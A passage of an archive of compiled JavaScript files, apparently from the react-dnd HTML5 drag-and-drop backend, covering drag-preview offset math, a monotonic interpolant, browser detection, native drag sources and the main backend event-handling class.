  return node.nodeName === 'IMG' && ((0, _BrowserDetector.isFirefox)() || !((_document$documentEle = document.documentElement) === null || _document$documentEle === void 0 ? void 0 : _document$documentEle.contains(node)));
}

function getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight) {
  var dragPreviewWidth = isImage ? dragPreview.width : sourceWidth;
  var dragPreviewHeight = isImage ? dragPreview.height : sourceHeight; // Work around @2x coordinate discrepancies in browsers

  if ((0, _BrowserDetector.isSafari)() && isImage) {
    dragPreviewHeight /= window.devicePixelRatio;
    dragPreviewWidth /= window.devicePixelRatio;
  }

  return {
    dragPreviewWidth: dragPreviewWidth,
    dragPreviewHeight: dragPreviewHeight
  };
}

function getDragPreviewOffset(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint) {
  // The browsers will use the image intrinsic size under different conditions.
  // Firefox only cares if it's an image, but WebKit also wants it to be detached.
  var isImage = isImageNode(dragPreview);
  var dragPreviewNode = isImage ? sourceNode : dragPreview;
  var dragPreviewNodeOffsetFromClient = getNodeClientOffset(dragPreviewNode);
  var offsetFromDragPreview = {
    x: clientOffset.x - dragPreviewNodeOffsetFromClient.x,
    y: clientOffset.y - dragPreviewNodeOffsetFromClient.y
  };
  var sourceWidth = sourceNode.offsetWidth,
      sourceHeight = sourceNode.offsetHeight;
  var anchorX = anchorPoint.anchorX,
      anchorY = anchorPoint.anchorY;

  var _getDragPreviewSize = getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight),
      dragPreviewWidth = _getDragPreviewSize.dragPreviewWidth,
      dragPreviewHeight = _getDragPreviewSize.dragPreviewHeight;

  var calculateYOffset = function calculateYOffset() {
    var interpolantY = new _MonotonicInterpolant.MonotonicInterpolant([0, 0.5, 1], [// Dock to the top
    offsetFromDragPreview.y, // Align at the center
    offsetFromDragPreview.y / sourceHeight * dragPreviewHeight, // Dock to the bottom
    offsetFromDragPreview.y + dragPreviewHeight - sourceHeight]);
    var y = interpolantY.interpolate(anchorY); // Work around Safari 8 positioning bug

    if ((0, _BrowserDetector.isSafari)() && isImage) {
      // We'll have to wait for @3x to see if this is entirely correct
      y += (window.devicePixelRatio - 1) * dragPreviewHeight;
    }

    return y;
  };

  var calculateXOffset = function calculateXOffset() {
    // Interpolate coordinates depending on anchor point
    // If you know a simpler way to do this, let me know
    var interpolantX = new _MonotonicInterpolant.MonotonicInterpolant([0, 0.5, 1], [// Dock to the left
    offsetFromDragPreview.x, // Align at the center
    offsetFromDragPreview.x / sourceWidth * dragPreviewWidth, // Dock to the right
    offsetFromDragPreview.x + dragPreviewWidth - sourceWidth]);
    return interpolantX.interpolate(anchorX);
  }; // Force offsets if specified in the options.


  var offsetX = offsetPoint.offsetX,
      offsetY = offsetPoint.offsetY;
  var isManualOffsetX = offsetX === 0 || offsetX;
  var isManualOffsetY = offsetY === 0 || offsetY;
  return {
    x: isManualOffsetX ? offsetX : calculateXOffset(),
    y: isManualOffsetY ? offsetY : calculateYOffset()
  };
}cjs/getEmptyImage.js000064400000000524151677252760010445 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.getEmptyImage = getEmptyImage;
var emptyImage;

function getEmptyImage() {
  if (!emptyImage) {
    emptyImage = new Image();
    emptyImage.src = 'data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==';
  }

  return emptyImage;
}cjs/NativeTypes.js000064400000000430151677252760010153 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.TEXT = exports.URL = exports.FILE = void 0;
var FILE = '__NATIVE_FILE__';
exports.FILE = FILE;
var URL = '__NATIVE_URL__';
exports.URL = URL;
var TEXT = '__NATIVE_TEXT__';
exports.TEXT = TEXT;cjs/MonotonicInterpolant.js000064400000006702151677252760012075 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.MonotonicInterpolant = void 0;

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var MonotonicInterpolant = /*#__PURE__*/function () {
  function MonotonicInterpolant(xs, ys) {
    _classCallCheck(this, MonotonicInterpolant);

    var length = xs.length; // Rearrange xs and ys so that xs is sorted

    var indexes = [];

    for (var i = 0; i < length; i++) {
      indexes.push(i);
    }

    indexes.sort(function (a, b) {
      return xs[a] < xs[b] ? -1 : 1;
    }); // Get consecutive differences and slopes

    var dys = [];
    var dxs = [];
    var ms = [];
    var dx;
    var dy;

    for (var _i = 0; _i < length - 1; _i++) {
      dx = xs[_i + 1] - xs[_i];
      dy = ys[_i + 1] - ys[_i];
      dxs.push(dx);
      dys.push(dy);
      ms.push(dy / dx);
    } // Get degree-1 coefficients


    var c1s = [ms[0]];

    for (var _i2 = 0; _i2 < dxs.length - 1; _i2++) {
      var m2 = ms[_i2];
      var mNext = ms[_i2 + 1];

      if (m2 * mNext <= 0) {
        c1s.push(0);
      } else {
        dx = dxs[_i2];
        var dxNext = dxs[_i2 + 1];
        var common = dx + dxNext;
        c1s.push(3 * common / ((common + dxNext) / m2 + (common + dx) / mNext));
      }
    }

    c1s.push(ms[ms.length - 1]); // Get degree-2 and degree-3 coefficients

    var c2s = [];
    var c3s = [];
    var m;

    for (var _i3 = 0; _i3 < c1s.length - 1; _i3++) {
      m = ms[_i3];
      var c1 = c1s[_i3];
      var invDx = 1 / dxs[_i3];

      var _common = c1 + c1s[_i3 + 1] - m - m;

      c2s.push((m - c1 - _common) * invDx);
      c3s.push(_common * invDx * invDx);
    }

    this.xs = xs;
    this.ys = ys;
    this.c1s = c1s;
    this.c2s = c2s;
    this.c3s = c3s;
  }

  _createClass(MonotonicInterpolant, [{
    key: "interpolate",
    value: function interpolate(x) {
      var xs = this.xs,
          ys = this.ys,
          c1s = this.c1s,
          c2s = this.c2s,
          c3s = this.c3s; // The rightmost point in the dataset should give an exact result

      var i = xs.length - 1;

      if (x === xs[i]) {
        return ys[i];
      } // Search for the interval x is in, returning the corresponding y if x is one of the original xs


      var low = 0;
      var high = c3s.length - 1;
      var mid;

      while (low <= high) {
        mid = Math.floor(0.5 * (low + high));
        var xHere = xs[mid];

        if (xHere < x) {
          low = mid + 1;
        } else if (xHere > x) {
          high = mid - 1;
        } else {
          return ys[mid];
        }
      }

      i = Math.max(0, high); // Interpolate

      var diff = x - xs[i];
      var diffSq = diff * diff;
      return ys[i] + c1s[i] * diff + c2s[i] * diffSq + c3s[i] * diff * diffSq;
    }
  }]);

  return MonotonicInterpolant;
}();

exports.MonotonicInterpolant = MonotonicInterpolant;cjs/BrowserDetector.js000064400000000652151677252760011023 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.isSafari = exports.isFirefox = void 0;

var _js_utils = require("./utils/js_utils");

var isFirefox = (0, _js_utils.memoize)(function () {
  return /firefox/i.test(navigator.userAgent);
});
exports.isFirefox = isFirefox;
var isSafari = (0, _js_utils.memoize)(function () {
  return Boolean(window.safari);
});
exports.isSafari = isSafari;esm/OptionsReader.js000064400000002453151677252760010472 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

export var OptionsReader = /*#__PURE__*/function () {
  function OptionsReader(globalContext) {
    _classCallCheck(this, OptionsReader);

    this.globalContext = globalContext;
  }

  _createClass(OptionsReader, [{
    key: "window",
    get: function get() {
      if (this.globalContext) {
        return this.globalContext;
      } else if (typeof window !== 'undefined') {
        return window;
      }

      return undefined;
    }
  }, {
    key: "document",
    get: function get() {
      if (this.window) {
        return this.window.document;
      }

      return undefined;
    }
  }]);

  return OptionsReader;
}();esm/NativeDragSources/getDataFromDataTransfer.js000064400000000416151677252760015775 0ustar00export function getDataFromDataTransfer(dataTransfer, typesToTry, defaultValue) {
  var result = typesToTry.reduce(function (resultSoFar, typeToTry) {
    return resultSoFar || dataTransfer.getData(typeToTry);
  }, '');
  return result != null ? result : defaultValue;
}esm/NativeDragSources/index.js000064400000001340151677252760012405 0ustar00import { nativeTypesConfig } from './nativeTypesConfig';
import { NativeDragSource } from './NativeDragSource';
export function createNativeDragSource(type, dataTransfer) {
  var result = new NativeDragSource(nativeTypesConfig[type]);
  result.loadDataTransfer(dataTransfer);
  return result;
}
export function matchNativeItemType(dataTransfer) {
  if (!dataTransfer) {
    return null;
  }

  var dataTransferTypes = Array.prototype.slice.call(dataTransfer.types || []);
  return Object.keys(nativeTypesConfig).filter(function (nativeItemType) {
    var matchesTypes = nativeTypesConfig[nativeItemType].matchesTypes;
    return matchesTypes.some(function (t) {
      return dataTransferTypes.indexOf(t) > -1;
    });
  })[0] || null;
}esm/NativeDragSources/NativeDragSource.js000064400000004700151677252760014506 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

export var NativeDragSource = /*#__PURE__*/function () {
  function NativeDragSource(config) {
    _classCallCheck(this, NativeDragSource);

    this.config = config;
    this.item = {};
    this.initializeExposedProperties();
  }

  _createClass(NativeDragSource, [{
    key: "initializeExposedProperties",
    value: function initializeExposedProperties() {
      var _this = this;

      Object.keys(this.config.exposeProperties).forEach(function (property) {
        Object.defineProperty(_this.item, property, {
          configurable: true,
          enumerable: true,
          get: function get() {
            // eslint-disable-next-line no-console
            console.warn("Browser doesn't allow reading \"".concat(property, "\" until the drop event."));
            return null;
          }
        });
      });
    }
  }, {
    key: "loadDataTransfer",
    value: function loadDataTransfer(dataTransfer) {
      var _this2 = this;

      if (dataTransfer) {
        var newProperties = {};
        Object.keys(this.config.exposeProperties).forEach(function (property) {
          newProperties[property] = {
            value: _this2.config.exposeProperties[property](dataTransfer, _this2.config.matchesTypes),
            configurable: true,
            enumerable: true
          };
        });
        Object.defineProperties(this.item, newProperties);
      }
    }
  }, {
    key: "canDrag",
    value: function canDrag() {
      return true;
    }
  }, {
    key: "beginDrag",
    value: function beginDrag() {
      return this.item;
    }
  }, {
    key: "isDragging",
    value: function isDragging(monitor, handle) {
      return handle === monitor.getSourceId();
    }
  }, {
    key: "endDrag",
    value: function endDrag() {// empty
    }
  }]);

  return NativeDragSource;
}();esm/NativeDragSources/nativeTypesConfig.js000064400000002352151677252760014743 0ustar00var _nativeTypesConfig;

function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }

import * as NativeTypes from '../NativeTypes';
import { getDataFromDataTransfer } from './getDataFromDataTransfer';
export var nativeTypesConfig = (_nativeTypesConfig = {}, _defineProperty(_nativeTypesConfig, NativeTypes.FILE, {
  exposeProperties: {
    files: function files(dataTransfer) {
      return Array.prototype.slice.call(dataTransfer.files);
    },
    items: function items(dataTransfer) {
      return dataTransfer.items;
    }
  },
  matchesTypes: ['Files']
}), _defineProperty(_nativeTypesConfig, NativeTypes.URL, {
  exposeProperties: {
    urls: function urls(dataTransfer, matchesTypes) {
      return getDataFromDataTransfer(dataTransfer, matchesTypes, '').split('\n');
    }
  },
  matchesTypes: ['Url', 'text/uri-list']
}), _defineProperty(_nativeTypesConfig, NativeTypes.TEXT, {
  exposeProperties: {
    text: function text(dataTransfer, matchesTypes) {
      return getDataFromDataTransfer(dataTransfer, matchesTypes, '');
    }
  },
  matchesTypes: ['Text', 'text/plain']
}), _nativeTypesConfig);esm/types.js000064400000000000151677252760007042 0ustar00esm/EnterLeaveCounter.js000064400000003467151677252760011314 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

import { union, without } from './utils/js_utils';
export var EnterLeaveCounter = /*#__PURE__*/function () {
  function EnterLeaveCounter(isNodeInDocument) {
    _classCallCheck(this, EnterLeaveCounter);

    this.entered = [];
    this.isNodeInDocument = isNodeInDocument;
  }

  _createClass(EnterLeaveCounter, [{
    key: "enter",
    value: function enter(enteringNode) {
      var _this = this;

      var previousLength = this.entered.length;

      var isNodeEntered = function isNodeEntered(node) {
        return _this.isNodeInDocument(node) && (!node.contains || node.contains(enteringNode));
      };

      this.entered = union(this.entered.filter(isNodeEntered), [enteringNode]);
      return previousLength === 0 && this.entered.length > 0;
    }
  }, {
    key: "leave",
    value: function leave(leavingNode) {
      var previousLength = this.entered.length;
      this.entered = without(this.entered.filter(this.isNodeInDocument), leavingNode);
      return previousLength > 0 && this.entered.length === 0;
    }
  }, {
    key: "reset",
    value: function reset() {
      this.entered = [];
    }
  }]);

  return EnterLeaveCounter;
}();esm/utils/js_utils.js000064400000001654151677252760010712 0ustar00function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

// cheap lodash replacements
export function isFunction(input) {
  return typeof input === 'function';
}
export function noop() {// noop
}

function isObjectLike(input) {
  return _typeof(input) === 'object' && input !== null;
}

export function isPlainObject(input) {
  if (!isObjectLike(input)) {
    return false;
  }

  if (Object.getPrototypeOf(input) === null) {
    return true;
  }

  var proto = input;

  while (Object.getPrototypeOf(proto) !== null) {
    proto = Object.getPrototypeOf(proto);
  }

  return Object.getPrototypeOf(input) === proto;
}esm/HTML5BackendImpl.js000064400000057174151677252760010651 0ustar00function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

import { EnterLeaveCounter } from './EnterLeaveCounter';
import { isFirefox } from './BrowserDetector';
import { getNodeClientOffset, getEventClientOffset, getDragPreviewOffset } from './OffsetUtils';
import { createNativeDragSource, matchNativeItemType } from './NativeDragSources';
import * as NativeTypes from './NativeTypes';
import { OptionsReader } from './OptionsReader';
export var HTML5BackendImpl = /*#__PURE__*/function () {
  function HTML5BackendImpl(manager, globalContext) {
    var _this = this;

    _classCallCheck(this, HTML5BackendImpl);

    this.sourcePreviewNodes = new Map();
    this.sourcePreviewNodeOptions = new Map();
    this.sourceNodes = new Map();
    this.sourceNodeOptions = new Map();
    this.dragStartSourceIds = null;
    this.dropTargetIds = [];
    this.dragEnterTargetIds = [];
    this.currentNativeSource = null;
    this.currentNativeHandle = null;
    this.currentDragSourceNode = null;
    this.altKeyPressed = false;
    this.mouseMoveTimeoutTimer = null;
    this.asyncEndDragFrameId = null;
    this.dragOverTargetIds = null;

    this.getSourceClientOffset = function (sourceId) {
      var source = _this.sourceNodes.get(sourceId);

      return source && getNodeClientOffset(source) || null;
    };

    this.endDragNativeItem = function () {
      if (!_this.isDraggingNativeItem()) {
        return;
      }

      _this.actions.endDrag();

      if (_this.currentNativeHandle) {
        _this.registry.removeSource(_this.currentNativeHandle);
      }

      _this.currentNativeHandle = null;
      _this.currentNativeSource = null;
    };

    this.isNodeInDocument = function (node) {
      // Check the node either in the main document or in the current context
      return Boolean(node && _this.document && _this.document.body && document.body.contains(node));
    };

    this.endDragIfSourceWasRemovedFromDOM = function () {
      var node = _this.currentDragSourceNode;

      if (_this.isNodeInDocument(node)) {
        return;
      }

      if (_this.clearCurrentDragSourceNode()) {
        _this.actions.endDrag();
      }
    };

    this.handleTopDragStartCapture = function () {
      _this.clearCurrentDragSourceNode();

      _this.dragStartSourceIds = [];
    };

    this.handleTopDragStart = function (e) {
      if (e.defaultPrevented) {
        return;
      }

      var dragStartSourceIds = _this.dragStartSourceIds;
      _this.dragStartSourceIds = null;
      var clientOffset = getEventClientOffset(e); // Avoid crashing if we missed a drop event or our previous drag died

      if (_this.monitor.isDragging()) {
        _this.actions.endDrag();
      } // Don't publish the source just yet (see why below)


      _this.actions.beginDrag(dragStartSourceIds || [], {
        publishSource: false,
        getSourceClientOffset: _this.getSourceClientOffset,
        clientOffset: clientOffset
      });

      var dataTransfer = e.dataTransfer;
      var nativeType = matchNativeItemType(dataTransfer);

      if (_this.monitor.isDragging()) {
        if (dataTransfer && typeof dataTransfer.setDragImage === 'function') {
          // Use custom drag image if user specifies it.
          // If child drag source refuses drag but parent agrees,
          // use parent's node as drag image. Neither works in IE though.
          var sourceId = _this.monitor.getSourceId();

          var sourceNode = _this.sourceNodes.get(sourceId);

          var dragPreview = _this.sourcePreviewNodes.get(sourceId) || sourceNode;

          if (dragPreview) {
            var _this$getCurrentSourc = _this.getCurrentSourcePreviewNodeOptions(),
                anchorX = _this$getCurrentSourc.anchorX,
                anchorY = _this$getCurrentSourc.anchorY,
                offsetX = _this$getCurrentSourc.offsetX,
                offsetY = _this$getCurrentSourc.offsetY;

            var anchorPoint = {
              anchorX: anchorX,
              anchorY: anchorY
            };
            var offsetPoint = {
              offsetX: offsetX,
              offsetY: offsetY
            };
            var dragPreviewOffset = getDragPreviewOffset(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint);
            dataTransfer.setDragImage(dragPreview, dragPreviewOffset.x, dragPreviewOffset.y);
          }
        }

        try {
          // Firefox won't drag without setting data
          dataTransfer === null || dataTransfer === void 0 ? void 0 : dataTransfer.setData('application/json', {});
        } catch (err) {} // IE doesn't support MIME types in setData
        // Store drag source node so we can check whether
        // it is removed from DOM and trigger endDrag manually.


        _this.setCurrentDragSourceNode(e.target); // Now we are ready to publish the drag source.. or are we not?


        var _this$getCurrentSourc2 = _this.getCurrentSourcePreviewNodeOptions(),
            captureDraggingState = _this$getCurrentSourc2.captureDraggingState;

        if (!captureDraggingState) {
          // Usually we want to publish it in the next tick so that browser
          // is able to screenshot the current (not yet dragging) state.
          //
          // It also neatly avoids a situation where render() returns null
          // in the same tick for the source element, and browser freaks out.
          setTimeout(function () {
            return _this.actions.publishDragSource();
          }, 0);
        } else {
          // In some cases the user may want to override this behavior, e.g.
          // to work around IE not supporting custom drag previews.
          //
          // When using a custom drag layer, the only way to prevent
          // the default drag preview from drawing in IE is to screenshot
          // the dragging state in which the node itself has zero opacity
          // and height. In this case, though, returning null from render()
          // will abruptly end the dragging, which is not obvious.
          //
          // This is the reason such behavior is strictly opt-in.
          _this.actions.publishDragSource();
        }
      } else if (nativeType) {
        // A native item (such as URL) dragged from inside the document
        _this.beginDragNativeItem(nativeType);
      } else if (dataTransfer && !dataTransfer.types && (e.target && !e.target.hasAttribute || !e.target.hasAttribute('draggable'))) {
        // Looks like a Safari bug: dataTransfer.types is null, but there was no draggable.
        // Just let it drag. It's a native type (URL or text) and will be picked up in
        // dragenter handler.
        return;
      } else {
        // If by this time no drag source reacted, tell browser not to drag.
        e.preventDefault();
      }
    };

    this.handleTopDragEndCapture = function () {
      if (_this.clearCurrentDragSourceNode()) {
        // Firefox can dispatch this event in an infinite loop
        // if dragend handler does something like showing an alert.
        // Only proceed if we have not handled it already.
        _this.actions.endDrag();
      }
    };

    this.handleTopDragEnterCapture = function (e) {
      _this.dragEnterTargetIds = [];

      var isFirstEnter = _this.enterLeaveCounter.enter(e.target);

      if (!isFirstEnter || _this.monitor.isDragging()) {
        return;
      }

      var dataTransfer = e.dataTransfer;
      var nativeType = matchNativeItemType(dataTransfer);

      if (nativeType) {
        // A native item (such as file or URL) dragged from outside the document
        _this.beginDragNativeItem(nativeType, dataTransfer);
      }
    };

    this.handleTopDragEnter = function (e) {
      var dragEnterTargetIds = _this.dragEnterTargetIds;
      _this.dragEnterTargetIds = [];

      if (!_this.monitor.isDragging()) {
        // This is probably a native item type we don't understand.
        return;
      }

      _this.altKeyPressed = e.altKey;

      if (!isFirefox()) {
        // Don't emit hover in `dragenter` on Firefox due to an edge case.
        // If the target changes position as the result of `dragenter`, Firefox
        // will still happily dispatch `dragover` despite target being no longer
        // there. The easy solution is to only fire `hover` in `dragover` on FF.
        _this.actions.hover(dragEnterTargetIds, {
          clientOffset: getEventClientOffset(e)
        });
      }

      var canDrop = dragEnterTargetIds.some(function (targetId) {
        return _this.monitor.canDropOnTarget(targetId);
      });

      if (canDrop) {
        // IE requires this to fire dragover events
        e.preventDefault();

        if (e.dataTransfer) {
          e.dataTransfer.dropEffect = _this.getCurrentDropEffect();
        }
      }
    };

    this.handleTopDragOverCapture = function () {
      _this.dragOverTargetIds = [];
    };

    this.handleTopDragOver = function (e) {
      var dragOverTargetIds = _this.dragOverTargetIds;
      _this.dragOverTargetIds = [];

      if (!_this.monitor.isDragging()) {
        // This is probably a native item type we don't understand.
        // Prevent default "drop and blow away the whole document" action.
        e.preventDefault();

        if (e.dataTransfer) {
          e.dataTransfer.dropEffect = 'none';
        }

        return;
      }

      _this.altKeyPressed = e.altKey;

      _this.actions.hover(dragOverTargetIds || [], {
        clientOffset: getEventClientOffset(e)
      });

      var canDrop = (dragOverTargetIds || []).some(function (targetId) {
        return _this.monitor.canDropOnTarget(targetId);
      });

      if (canDrop) {
        // Show user-specified drop effect.
        e.preventDefault();

        if (e.dataTransfer) {
          e.dataTransfer.dropEffect = _this.getCurrentDropEffect();
        }
      } else if (_this.isDraggingNativeItem()) {
        // Don't show a nice cursor but still prevent default
        // "drop and blow away the whole document" action.
        e.preventDefault();
      } else {
        e.preventDefault();

        if (e.dataTransfer) {
          e.dataTransfer.dropEffect = 'none';
        }
      }
    };

    this.handleTopDragLeaveCapture = function (e) {
      if (_this.isDraggingNativeItem()) {
        e.preventDefault();
      }

      var isLastLeave = _this.enterLeaveCounter.leave(e.target);

      if (!isLastLeave) {
        return;
      }

      if (_this.isDraggingNativeItem()) {
        _this.endDragNativeItem();
      }
    };

    this.handleTopDropCapture = function (e) {
      _this.dropTargetIds = [];
      e.preventDefault();

      if (_this.isDraggingNativeItem()) {
        var _this$currentNativeSo;

        (_this$currentNativeSo = _this.currentNativeSource) === null || _this$currentNativeSo === void 0 ? void 0 : _this$currentNativeSo.loadDataTransfer(e.dataTransfer);
      }

      _this.enterLeaveCounter.reset();
    };

    this.handleTopDrop = function (e) {
      var dropTargetIds = _this.dropTargetIds;
      _this.dropTargetIds = [];

      _this.actions.hover(dropTargetIds, {
        clientOffset: getEventClientOffset(e)
      });

      _this.actions.drop({
        dropEffect: _this.getCurrentDropEffect()
      });

      if (_this.isDraggingNativeItem()) {
        _this.endDragNativeItem();
      } else {
        _this.endDragIfSourceWasRemovedFromDOM();
      }
    };

    this.handleSelectStart = function (e) {
      var target = e.target; // Only IE requires us to explicitly say
      // we want drag drop operation to start

      if (typeof target.dragDrop !== 'function') {
        return;
      } // Inputs and textareas should be selectable


      if (target.tagName === 'INPUT' || target.tagName === 'SELECT' || target.tagName === 'TEXTAREA' || target.isContentEditable) {
        return;
      } // For other targets, ask IE
      // to enable drag and drop


      e.preventDefault();
      target.dragDrop();
    };

    this.options = new OptionsReader(globalContext);
    this.actions = manager.getActions();
    this.monitor = manager.getMonitor();
    this.registry = manager.getRegistry();
    this.enterLeaveCounter = new EnterLeaveCounter(this.isNodeInDocument);
  }
  /**
   * Generate profiling statistics for the HTML5Backend.
   */


  _createClass(HTML5BackendImpl, [{
    key: "profile",
    value: function profile() {
      var _this$dragStartSource, _this$dragOverTargetI;

      return {
        sourcePreviewNodes: this.sourcePreviewNodes.size,
        sourcePreviewNodeOptions: this.sourcePreviewNodeOptions.size,
        sourceNodeOptions: this.sourceNodeOptions.size,
        sourceNodes: this.sourceNodes.size,
        dragStartSourceIds: ((_this$dragStartSource = this.dragStartSourceIds) === null || _this$dragStartSource === void 0 ? void 0 : _this$dragStartSource.length) || 0,
        dropTargetIds: this.dropTargetIds.length,
        dragEnterTargetIds: this.dragEnterTargetIds.length,
        dragOverTargetIds: ((_this$dragOverTargetI = this.dragOverTargetIds) === null || _this$dragOverTargetI === void 0 ? void 0 : _this$dragOverTargetI.length) || 0
      };
    } // public for test

  }, {
    key: "setup",
    value: function setup() {
      if (this.window === undefined) {
        return;
      }

      if (this.window.__isReactDndBackendSetUp) {
        throw new Error('Cannot have two HTML5 backends at the same time.');
      }

      this.window.__isReactDndBackendSetUp = true;
      this.addEventListeners(this.window);
    }
  }, {
    key: "teardown",
    value: function teardown() {
      if (this.window === undefined) {
        return;
      }

      this.window.__isReactDndBackendSetUp = false;
      this.removeEventListeners(this.window);
      this.clearCurrentDragSourceNode();

      if (this.asyncEndDragFrameId) {
        this.window.cancelAnimationFrame(this.asyncEndDragFrameId);
      }
    }
  }, {
    key: "connectDragPreview",
    value: function connectDragPreview(sourceId, node, options) {
      var _this2 = this;

      this.sourcePreviewNodeOptions.set(sourceId, options);
      this.sourcePreviewNodes.set(sourceId, node);
      return function () {
        _this2.sourcePreviewNodes.delete(sourceId);

        _this2.sourcePreviewNodeOptions.delete(sourceId);
      };
    }
  }, {
    key: "connectDragSource",
    value: function connectDragSource(sourceId, node, options) {
      var _this3 = this;

      this.sourceNodes.set(sourceId, node);
      this.sourceNodeOptions.set(sourceId, options);

      var handleDragStart = function handleDragStart(e) {
        return _this3.handleDragStart(e, sourceId);
      };

      var handleSelectStart = function handleSelectStart(e) {
        return _this3.handleSelectStart(e);
      };

      node.setAttribute('draggable', 'true');
      node.addEventListener('dragstart', handleDragStart);
      node.addEventListener('selectstart', handleSelectStart);
      return function () {
        _this3.sourceNodes.delete(sourceId);

        _this3.sourceNodeOptions.delete(sourceId);

        node.removeEventListener('dragstart', handleDragStart);
        node.removeEventListener('selectstart', handleSelectStart);
        node.setAttribute('draggable', 'false');
      };
    }
  }, {
    key: "connectDropTarget",
    value: function connectDropTarget(targetId, node) {
      var _this4 = this;

      var handleDragEnter = function handleDragEnter(e) {
        return _this4.handleDragEnter(e, targetId);
      };

      var handleDragOver = function handleDragOver(e) {
        return _this4.handleDragOver(e, targetId);
      };

      var handleDrop = function handleDrop(e) {
        return _this4.handleDrop(e, targetId);
      };

      node.addEventListener('dragenter', handleDragEnter);
      node.addEventListener('dragover', handleDragOver);
      node.addEventListener('drop', handleDrop);
      return function () {
        node.removeEventListener('dragenter', handleDragEnter);
        node.removeEventListener('dragover', handleDragOver);
        node.removeEventListener('drop', handleDrop);
      };
    }
  }, {
    key: "addEventListeners",
    value: function addEventListeners(target) {
      // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813
      if (!target.addEventListener) {
        return;
      }

      target.addEventListener('dragstart', this.handleTopDragStart);
      target.addEventListener('dragstart', this.handleTopDragStartCapture, true);
      target.addEventListener('dragend', this.handleTopDragEndCapture, true);
      target.addEventListener('dragenter', this.handleTopDragEnter);
      target.addEventListener('dragenter', this.handleTopDragEnterCapture, true);
      target.addEventListener('dragleave', this.handleTopDragLeaveCapture, true);
      target.addEventListener('dragover', this.handleTopDragOver);
      target.addEventListener('dragover', this.handleTopDragOverCapture, true);
      target.addEventListener('drop', this.handleTopDrop);
      target.addEventListener('drop', this.handleTopDropCapture, true);
    }
  }, {
    key: "removeEventListeners",
    value: function removeEventListeners(target) {
      // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813
      if (!target.removeEventListener) {
        return;
      }

